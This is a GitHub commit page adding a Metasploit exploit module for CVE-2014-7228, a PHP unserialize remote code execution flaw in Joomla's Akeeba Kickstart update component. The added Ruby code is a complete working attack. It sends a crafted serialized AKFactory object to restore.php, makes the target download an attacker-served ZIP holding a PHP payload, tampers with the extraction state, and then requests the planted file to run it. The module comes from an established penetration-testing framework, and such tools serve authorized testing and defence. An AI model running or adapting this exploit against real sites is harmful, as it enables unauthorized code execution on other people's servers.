Skip to content

Commit c77a098

Browse files
committed
Land rapid7#3989, @us3r777's exploit for CVE-2014-7228, Joomla Update unserialize
the commit. empty message aborts
2 parents 85f48a3 + 4e6f617 commit c77a098

File tree

1 file changed

+149
-0
lines changed

1 file changed

+149
-0
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
require 'json'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
20+
'Description' => %q{
21+
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
22+
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
23+
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
24+
that this vulnerability is only exploitable during the update of the Joomla! CMS.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Johannes Dahse', # Vulnerability discovery
30+
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'CVE', '2014-7228' ],
35+
[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
36+
[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
37+
[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
38+
],
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
41+
'Targets' =>
42+
[
43+
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
44+
],
45+
'Stance' => Msf::Exploit::Stance::Aggressive,
46+
'Privileged' => false,
47+
'DisclosureDate' => "Sep 29 2014",
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
53+
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])
54+
], self.class)
55+
end
56+
57+
def check
58+
res = send_request_cgi(
59+
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
60+
)
61+
62+
if res && res.code == 200
63+
return Exploit::CheckCode::Detected
64+
end
65+
66+
Exploit::CheckCode::Safe
67+
end
68+
69+
def primer
70+
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
71+
72+
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
73+
php_filename = rand_text_alpha(8 + rand(8)) + '.php'
74+
75+
# Create the zip archive
76+
print_status("Creating archive with file #{php_filename}")
77+
zip_file = Rex::Zip::Archive.new
78+
zip_file.add_file(php_filename, payload.encoded)
79+
@zip = zip_file.pack
80+
81+
# First step: call restore to run _prepare() and get an initialized AKFactory
82+
print_status("#{peer} - Sending PHP serialized object...")
83+
res = send_request_cgi({
84+
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
85+
'vars_get' => {
86+
'task' => 'stepRestore',
87+
'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
88+
}
89+
})
90+
91+
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
92+
print_status("#{res.code}\n#{res.body}")
93+
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
94+
end
95+
96+
# Second step: modify the currentPartNumber within the returned serialized AKFactory
97+
json = /###(.*)###/.match(res.body)[1]
98+
begin
99+
b64encoded_prepared_factory = JSON.parse(json)['factory']
100+
rescue JSON::ParserError
101+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
102+
end
103+
104+
prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
105+
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
106+
107+
print_status("#{peer} - Sending initialized and modified AKFactory...")
108+
res = send_request_cgi({
109+
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
110+
'vars_get' => {
111+
'task' => 'stepRestore',
112+
'factory' => Rex::Text.encode_base64(modified_factory)
113+
}
114+
})
115+
116+
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
117+
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
118+
end
119+
120+
register_files_for_cleanup(php_filename)
121+
122+
print_status("#{peer} - Executing payload...")
123+
send_request_cgi({
124+
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
125+
}, 2)
126+
127+
end
128+
129+
def exploit
130+
begin
131+
Timeout.timeout(datastore['HTTPDELAY']) { super }
132+
rescue Timeout::Error
133+
# When the server stops due to our timeout, this is raised
134+
end
135+
end
136+
137+
# Handle incoming requests from the server
138+
def on_request_uri(cli, request)
139+
if @zip && request.uri =~ /\.zip$/
140+
print_status("Sending the ZIP archive...")
141+
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
142+
return
143+
end
144+
145+
print_status("Sending not found...")
146+
send_not_found(cli)
147+
end
148+
149+
end

0 commit comments

Comments
 (0)